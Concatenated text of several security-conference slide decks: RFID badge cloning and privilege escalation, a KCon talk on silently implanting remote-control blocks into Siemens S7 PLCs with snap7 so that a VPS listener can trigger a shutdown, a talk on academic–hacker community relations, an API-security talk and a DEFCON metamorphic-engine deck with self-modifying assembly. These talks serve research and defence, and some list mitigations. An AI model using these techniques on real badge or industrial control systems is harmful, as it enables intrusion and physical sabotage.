Legacy 125-kilohertz proximity technology is still in place at around 70% to 80% of all
physical access control deployments in the U.S. and it will be a long time before that
changes, says Stephane Ardiley, product manager at HID Global.
WHO IS VULNERABLE?
• Government facilities (contractors too)
• Medical Facilities
• Financial Institutions
• Nuclear facilities
• Power/Water Facilities
• Education
• List is endless….
UNDERSTANDING BADGE SYSTEMS
RFID OVERVIEW
RFID OVERVIEW – READ RANGES
RFID OVERVIEW – WIEGAND PROTOCOL
Internet FTW
FACILITY Code & Access Card #
Not so private.
EBAY FTW
RESELLER SERVICES
RFID HACKING
CLONING/REPLAY – LOW FREQUENCY (PROX II)
DEMO
Low Freq Clone/Replay
Proxmark III
PRIV ESCALATION - PROX BRUTE
LONG RANGE READING – LOW FREQUENCY
Long Range Tastic Reader (Low Frequency)
ADVANCED RFID ATTACKS
LONG RANGE READING – HIGH FREQUENCY
(ICLASS)
ARDUINO WITH LCD, MOBILE READER
MOBILE READER PCB BUILD
DEMO
Long Range Read – High Frequency
ICLASS VULNERABILITY (PUBLIC)
•
Heart of Darkness - exploring the uncharted backwaters of HID iCLASS security
• Milosch Meriac, [email protected]
•
27TH CHAOS COMMUNICATION CONGRESS IN BERLIN, DECEMBER 2010
•
Firmware was dumped and encryption keys for Standard Security were
compromised.
ICLASS CARD CLONING
DEMO
IClass Cloning
ICLASS PRIVILEGE ESCALATION
•
Block 7 – Contains encrypted format of facility code and access card
number
•
Use compromised keys and calculate new block 7 for Weigand data string
•
Write block 7 to clone card
•
Badge in!
•
Work in progress:
• iClass brute
DEMO
IClass Priv Esc
GECKO WIEGAND CAPTURE
BLENDED ATTACK – PRIVILEGE ESCALATION
• Information leak from badge system
• Remote compromise of access controls
• Monitor activity
• Identify system faults
• Profiling
• Access rights modification
UNDER DEVELOPMENT – BIO AND PIN ATTACKS
UNDER DEVELOPMENT – MESH NETWORK
•
Real Time Mesh Network – collaboration of multiple Red Team members and field
hardware
UNDER DEVELOPMENT – BACKDOORED READER
•
Backdoored reader with Audrino
• Captures Wiegand data and transmits over Zigbee or wifi to other Red Team
member’s hardware device in the field
RISK MITIGATION
REMEDIATION/RISK MITIGATION
•
Standard RFID asset protection/best practices
•
Protection strategies of badge systems (physical and electronic)
• Protection against blended threads/Red Team targeted attacks
•
Custom card formats and Time To Reverse (TTR)
•
Protect badge systems with VLANs, 2-factor authentication or isolation
•
Training – Staff and Guards
•
Log Monitoring – IPS?
QUESTIONS?
Eric Smith
Josh Perrymon
[email protected]
[email protected]
@infosecmafia
@packetfocus
http://www.lares.com
Code: https://github.com/LaresConsulting | pdf |
中国.北京 KCon黑客大会
工业PLC远程控制实现
演讲人：剑思庭
2 0 1 8
PART 01
个人介绍
目录
CONTENTS
PART 02
架构/工具
PART 03
远控渗透
01
02
03
PART
01
个人介绍
剑思庭
工业网络安
全技术顾问
Rockwell
Automation
工控安全
渗透和防御
PART
02
构架/工具
VPS Kali
边界路由器
核心防火墙
工业交换机
P-NAT
关闭102端口
STEP7 工程师站
S7-315-PN/DP
互联网
企业边缘网络
企业内网网络 企业工厂网络
http://snap7.sourceforge.net/
$ sudo add-apt-repository ppa:gijzelaar/snap7
$ sudo apt-get update
$ sudo apt-get install libsnap71 libsnap7-dev
$ pip install python-snap7
PART
03
远控渗透
悄无声息
PLC远控代码植入不能造成PLC重启
FB64 TCON
FB65 TSEND
FB66 TRCV
FB67 TDISCON
PLC IP地址
PLC CPU槽号
Block类型和No.
上载远控功能块
存储功能块为MC7
连接被远控PLC
装载功能块MC7文件
下装MC7文件到PLC
PLC内完整的远控植入程序
TCP建立连接
参数
声明
数据类型
存储区
描述
REQ INPUT
BOOL
I、Q、M、D、L
控制参数REQUEST启动建立由ID指定的连接的作业。作业在上升
沿启动。
ID
INPUT
WORD
M、D、常数 与远程伙伴之间建立的连接或用户程序和操作系统通信层之间建立的
连接的标识号。标识号必须与本地连接描述中的相关参数标识号相同。取值范围：W#16#0001至
W#16#0FFF
DONE
OUTPUT BOOL
I、Q、M、D、L
DONE状态参数：0：作业尚未开始或仍在运行。1：无错执行
作业。
BUSY
OUTPUT BOOL
I、Q、M、D、L
BUSY = 1：作业尚未完成。BUSY = 0：作业完成。
ERROR
OUTPUT BOOL
I、Q、M、D、L
ERROR状态参数：?ERROR = 1：处理作业期间出现错误。
STATUS返回有关错误类型的详细信息
STATUS
OUTPUT WORD
M、D
STATUS状态参数：故障信息
CONNECTIN_OUT
ANY D
指向相关连接说明的指针(UDT 65)，参见为使用TCP和ISO on TCP的开放通信连
接分配参数和为使用UDP的本地通信接入点分配参数
TCP发送数据
参数
声明
数据类型
存储区
描述
REQ INPUT
BOOL
I、Q、M、D、L
控制参数REQUEST在上升沿开始发送作业。数据从由DATA和LEN指定的区域
传送。
ID
INPUT
WORD
M、D、常数 将终止对连接的引用。标识号必须与本地连接描述中的相关参数标识号相同。
取值范围：W#16#0001至W#16#0FFF
LEN INPUT
INT I、Q、M、D、L
要使用作业发送的最大字节数参见使用的CPU和协议变量(connection_type)和可
传送数据长度之间的关系
DONE
OUTPUT BOOL
I、Q、M、D、L
DONE状态参数：0：作业尚未开始或仍在运行。1：无错执行作业。
BUSY
OUTPUT BOOL
I、Q、M、D、L
BUSY = 1：作业尚未完成。无法触发新作业。?BUSY = 0：作业完成。
ERROR
OUTPUT BOOL
I、Q、M、D、L
ERROR状态参数：ERROR = 1：处理时出错。STATUS提供有关错误类型的
详细信息
STATUS
OUTPUT WORD
M、D
STATUS状态参数：故障信息
DATA
IN_OUT
ANY I、Q、M、D 发送区域包含地址和长度地址指的是：输入过程映像?输出过程映像?存储器位?
数据块注意：不要使用BOOL类型的ARRAY作为发送区域。
参数
声明
数据类型
存储区
描述
EN_R
INPUT
BOOL
I、Q、M、D、L
使能接收的控制参数：EN_R =?时，FB 64 "TRCV"准备接收。正在处理
接收作业。
ID
INPUT
WORD
M、D、常数 将终止对连接的引用。标识号必须与本地连接描述中的相关参数标识号相同。
取值范围：W#16#0001至W#16#0FFF
LEN INPUT
INT I、Q、M、D、L
接收区域的长度(以字节为单位)关于LEN =?或LEN <>?的含义，请参见上文(FB64
"TRCV"的接收模式)。对于值的范围，请参见使用的CPU和协议变量(connection_type)和可传送数据长度之间的关系。
NDR OUTPUT BOOL
I、Q、M、D、L
NDR状态参数：?NDR = 0：作业尚未开始或仍在运行。?NDR = 1：作业成功
完成
ERROR
OUTPUT BOOL
I、Q、M、D、L
ERROR状态参数：?ERROR = 1：处理时出错。STATUS提供有关错误类
型的详细信息
BUSY
OUTPUT BOOL
I、Q、M、D、L
?BUSY = 1：作业尚未完成。无法触发新作业。?BUSY = 0：作业完成。
STATUS
OUTPUT WORD
M、D
STATUS状态参数：故障信息
RCVD_LEN
OUTPUT INT I、Q、M、D、L
实际接收到的数据量(字节)
DATA
IN_OUT
ANY I、Q、M、D 接收区域(定义见上文)包含地址和长度地址指的是：?输入过程映像?输出过程
映像?存储器位?数据块注意：不要使用BOOL类型的ARRAY作为接收区域。
TCP接受数据
TCP断开连接
参数
声明
数据类型
存储区
描述
REQ INPUT
BOOL
I、Q、M、D、L
控制参数REQUEST启动终止由ID指定的连接的作业。作业在上升
沿上启动。
ID
INPUT
WORD
M、D、常数 将与远程伙伴终止的连接或用户程序和操作系统通信层之间的连接的
标识号。标识号必须与本地连接描述中的相关参数标识号相同。取值范围：W#16#0001至W#16#0FFF
DONE
OUTPUT BOOL
I、Q、M、D、L
DONE状态参数：0：作业尚未开始或仍在运行。1：无错执行
作业。
BUSY
OUTPUT BOOL
I、Q、M、D、L
BUSY = 1：作业尚未完成。BUSY = 0：作业完成。
ERROR
OUTPUT BOOL
I、Q、M、D、L
ERROR状态参数：?ERROR = 1：处理时出错。STATUS提供有关
错误类型的详细信息
STATUS
OUTPUT WORD
M、D
STATUS状态参数：故障信息
VPS的固定IP地址
VPS的监听的端口
PLC内OB35调用FB1判断指令执
行停机
VPS上Kali运行TCP server监听，连接后
发送停机标志
防御的方法：
1、物理和环境安全
2、PLC接入授权和项目加密
3、PLC出口增设DPI防火墙（禁止对PLC下载）
4、核心防火墙切断工业网络直接接入，设置DMZ区域
5、增加接入的身份认证和授权
谢谢观看
演讲人：剑思庭 | pdf |
All Our Powers Combined
Connecting Academics, Engineers, and Hackers
Security
Centered around conferences (DEFCON, HITCON, etc), CTF, and open-source
projects.
Full of students, hackers, etc.
Labor of love.
Striving for fulfillment.
Enthusiast Community
Enthusiasts
Operates primarily out of university research labs.
Full of professors, postdocs, PhD researchers.
Labor of love + overhead.
Striving for innovation.
Academic Community
Enthusiasts
Academia
Operates primarily out of for-profit companies.
Full of brilliant engineers, hackers, etc.
Labor of love + profit.
Striving for usefulness.
Industry Community
Enthusiasts
Academia
Industry
Enthusiasts
Academia
Industry
Why?
Why me?
Created at UIUC in 2000.
Open-sourced in 2003.
Adopted by Apple in 2005.
Continued use by academia and industry.
Nested success stories in spin-off projects!
-
libfuzzer, KLEE, etc
Example: LLVM
Complications Arise
Research?
Academic meaning: invention,
innovation, or understanding
(novel research).
Industry meaning: finding bugs in
software (vulnerability research).
Industry research...
-
finding a new bug
-
developing a new technique
-
developing a new tool
-
actionable results
Academic research...
-
finding a new class of bug
-
developing a new technique
-
applying a technique in a new way
-
demonstrating potential
Academics must present at academic conferences to survive.
-
constant need for novelty => short attention span
-
papers become very hard to approach
Different goals of “research” limit interactions.
-
little cross-attendance between academic conferences, industry conferences, and enthusiast
conferences
This causes friction.
-
Tweet wars (printf turing-completeness, Cloak&Dagger, symbolic execution)
-
Duplicated effort.
Terminology differences — Effects
Better interaction venues:
-
USENIX WOOT (Workshop on Offensive Technologies)
-
USENIX Enigma
-
CSAW
-
NDSS BAR (Binary Analysis Research) Workshop
More cross-pollination of ideas.
-
internships to industry, engineers going back to grad school
Assume good faith!
-
Example: Cloak & Dagger
Terminology differences — Solutions?
Come to the BAR!
Paper deadline: Dec 15, 2017
Workshop: Feb 18, 2018
Audience:
-
Academics
-
Industry
-
Enthusiasts (CTFers and tool builders)
Explicitly includes a disucssion session!
www.ndss-symposium.org/ndss2018/cfp-ndss2018-bar
Academic prototypes...
-
written by graduate
students under
extreme deadlines
-
minimalistic
demonstration of
concept
-
completely
unsupported or
undocumented
Industry prototypes...
-
written by
professionals
-
well-designed
-
well-documented
-
decently supported
Enthusiast prototypes...
-
written by some
random hacker
-
often
better-supported than
academic prototypes
Documentation seems...
-
very important for enthusiasts
-
moderately important for industry people
-
slightly important for academics
Functionality seems...
-
very important for industry
-
moderately important for enthusiasts
-
slightly important for academics
(This is a bad feedback mechanism...)
angr Observations
There is hope for angr!
-
increasingly effective community support on slack
-
perseverance by enthusiast community members
-
continued adoption (and adaptation) by industry
But what about the general case?
-
In the US: NSF Transition To Practice grants
-
Google Summer of Code, Mozilla Open Source Grants, etc
-
Idea: “community service” homework, such as documentation.
Moving Forward
DECREE OS
(read/write/select/
mmap/munmap/
get_random/exit)
The Real World
CTF means different things to different people.
-
an incredible test of skill
-
an awesome opportunity to stay capable and relevant
-
an irrelevant game where kids play with toys
-
a waste of time
CTF takes time.
-
hard for industry
-
either ignored or actively discouraged by many professors!
CTF
It is up to us in decision-making roles to support CTF.
-
CTF is a first-order priority at ASU.
More participants in industry and academia should strive for leadership positions
in CTF.
Also, problem is resolving itself...
-
academics noticed Shellphish in the CGC.
-
CTFers dominating pwn2own, etc.
CTF — Solutions?
Conclusion —
Overall Solutions
Talk with each other.
Learn from each other.
Do better with community integration.
Ask?
Yan Shoshitaishvili
[email protected]
@Zardus
This presentation: https://goo.gl/jRiuAG
Join in on slack: http://angr.io/invite.html
If a grad school or visiting internship is something that interests you, let me know!
Communities have different motivations for collaboration.
Academics: reproducibility, impact, but need better incentives
Industry: profit motive
Enthusiasts: enthusiasm
Pull Request ghosting — deciding partway through the implementation of a pull
request that your company wants to keep the modifications proprietary.
Workarounds?
-
moving target (Linux kernel)
-
GPL (other drawbacks)
Frustrations | pdf |
从S-SDLC视角看API安全
【API威胁检测防御】专题研讨会
Silver Zhang
为何将API安全拧出来说
为何将API安全拧出来说
感冒 VS. 禽流感
感冒 VS. 禽流感
应用安全 VS. 移动安全
应用安全 VS. 移动安全
新业态
新业态
API历史沿革及风险评估
API面临的安全挑战
传输
存储
认证
授权
输入
输出
➢
客
户
端
不
支
持
加
密
传
输
协
议
怎
么
办
➢
客
户
需
要
走
非
加
密
支
持
代
理
➢
客
户
端
未
做
服
务
端
证
书
合
法
有
效
性
校
验
怎
么
办
➢
服
务
端
加
密
数
据
如
何
让
客
户
端
解
密
➢
客
户
的
服
务
端
与
客
户
端
都
在
使
用
同
一
API
➢
密
钥
泄
露
了
怎
么
办
➢
客
户
的
客
户
端
与
服
务
端
都
支
持
登
录
过
程
处
理
➢
无
人
参
与
的
设
备
登
陆
认
证
问
题
➢
设
备
更
换
主
人
➢
预
设
权
限
与
客
户
业
务
映
射
➢
不
充
分
的
授
权
业
务
架
构
➢
不
正
确
的
授
权
ID
的
使
用
➢ API
服
务
提
供
方
输
入
验
证
➢ API
提
供
方
输
入
验
证
➢
调
用
方
输
入
验
证
匹
配
性
➢
输
出
编
码
➢
不
同
的
输
出
编
码
-CSV/JASON
➢
仅
输
出
必
要
的
内
容
IoT攻击面分析
攻击面
是否涉及API
攻击面
是否涉及API
生态系统
√
第三方后端API
√
设备内存
x
更新机制
√
设备物理接口
乄
移动应用
√
设备Web界面
√
供应商后端API
√
设备固件
乄
生态系统交互
√
设备网络服务
乄
网络流量
乄
管理界面
√
认证/授权
√
本地数据存储
乄
隐私
√
云Web界面
乄
硬件（传感器）
乄
S-SDLC & API安全
需求
设计
实现
确认
DevOps
运维
场景
传输
乄
乄
乄
乄
乄
乄
√
存储
√
√
√
√
乄
√
√
认证
√
√
√
√
乄
√
√
授权
√
√
√
√
乄
√
√
输入
√
√
√
√
乄
√
√
输出
√
√
√
√
乄
√
√
API安全
API安全
API安全检测技术
人为构造所有可能的应用场景的Demo,通过正常应用安全测试完成…
与功能性自动化脚本融合，同步完成安全自动化测试…
借助现存的典型用户客户端完成全功能安全测试…
借助于Fuzz Test技术完成安全性测试…
借助于IAST技术完成安全性测试…
借助于RASP技术完成与业务强相关的恶意行为监测…
问题讨论-1
如
何
避
免
过
度
实
现
尚
未
开
放
的
功
能
？
1.
无人知道对外提供的API竟然可以以
服务提供方的超级管理员身份登录
进去
2.
现实是：开发为了方便放开了口子
3.
挑战：如何从根本上避免这样的问
题出现？
*API特殊性决定了它一定会被深度使用*
1.
无人知道对外提供的API竟然可以以
服务提供方的超级管理员身份登录
进去
2.
现实是：开发为了方便放开了口子
3.
挑战：如何从根本上避免这样的问
题出现？
*API特殊性决定了它一定会被深度使用*
问题讨论-2
如
何
确
保
API
只
输
出
当
前
功
能
所
必
需
要
的
信
息
？
1.
开发：我知道这些信息未来用得上，
所以干脆直接将更多的信息一并传
回客户端，反正前端也不会有人使
用它们
2.
现实：批量、敏感信息泄漏
3.
挑战：如何从根本上避免这样的问
题出现？
*API特殊性决定了它一定会被深度使用*
1.
开发：我知道这些信息未来用得上，
所以干脆直接将更多的信息一并传
回客户端，反正前端也不会有人使
用它们
2.
现实：批量、敏感信息泄漏
3.
挑战：如何从根本上避免这样的问
题出现？
*API特殊性决定了它一定会被深度使用*
问题讨论-3
最佳
实践
与现
实之
间的
矛盾
1.
Web端提供多因子认证
2.
手机端API则不提供
1）易用性考虑
2） 客户的客户端不支持
*API特殊性决定了它一定会被深度使用*
1.
Web端提供多因子认证
2.
手机端API则不提供
1）易用性考虑
2） 客户的客户端不支持
*API特殊性决定了它一定会被深度使用* | pdf |
SQLITE
44310
sqlite
sqlitesql
sqlite
1. sqlite3_snprintf(size,sqlstr,fmt,args...)
2. sqlite3_exec()
sqlite3_snprintfcsnprintffmt
sqlite3_snprintf(100,sqlstr,"select * from table where name = '%s';",name);
name'pikaqiu'sqlstr "select * from table where name = 'pikaqiu';" sqlsqlite3_exec()
sqlite
sqlite3_snprintffmt'%q'
1.
2. \
3. sqlite\
4. '%q''
sqliteexec';'
token
sqlite ' ','\t','\n','\f','\r'
''','"','`'
namepasswd
sqlite3_snprintf(100,sqlstr,"select * from table where name = '%q' and password = '%q';",name,passwd);
sqlite3_exec(sqlstr)
%qsize100
namepassword100
select * from table where name = 'aaaaaaaaaaaaaaaa...aaaaaaaaaaaaaa'
update
update usertable set password='%q' where name = '%q';
password | pdf |
The Remote Metamorphic Engine
Detecting, Evading, Attacking the AI and Reverse Engineering
Amro Abdelgawad / DEFCON 24
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
The Remote Metamorphic Engine
‣ Security as undefined expression
‣ Flux binary mutation
‣ Resisting Reverse Engineering
‣ Evading AI machine learning
‣ Artificial Immunity
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Security Patterns
{Division by Zero | Division by Infinity
}
Isolation
Randomization
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Security as Undefined & indeterminate expression
The Undefined Expression
1
0
Undefined
∞
-∞
=
=
RE Time
∞
0
The Remote
Metamorphic
Engine
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
The Unbreakable Code
Unpredictable
un·pre·dict·a·ble
adjective:/ˌənprəˈdiktəb(ə)l/
Likely to change suddenly and without reason
and therefore not able to be predicted
(= expected before it happens)
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
The Fixed Static Code Problem
Static Code Dynamic Data
Core security weakness in all today’s software
Enables all sorts of replicable software
security exploits
The Breakable Code
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Unpredictable Code Evolution
Dynamic Code Dynamic Data
Code evolution across time
Functionality evolution across location
Self contained autonomous code
Unpredictable
Self aware
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Code Evolution
Resisting Reverse Engineering
Locate the Code
Analyze the Code
Break the Code
not locatable
Sho! Lifetime
Unbreakable
Remote Execution
Flux Mutation
Self aware
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
The Remote Metamorphic Engine
Remote Flux Mutation
Morphed Code Execution
Thread/Process
Mutation Engine
Remote Mutation
Tru"ed Zone
Untru"ed Zone
Challenge
Response
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Why Remote?
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Morphed Code Execution
Thread/Process
Mutation Engine
Remote Mutation
Tru"ed Zone
Untru"ed Zone
4 bytes size
Code
Clock Synced
Challenge
Response
Communication protocol made of morphed clock
synchronized machine code rather than data
The Remote Metamorphic Engine
Challenge Response Metamorphic Protocol
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Why Metamorphic?
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
The Remote Metamorphic Engine
Remote Code Slicing
The Reverse Engineer Side
The Engine Side
Known to the reverse engineer
Unknown to the reverse engineer
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
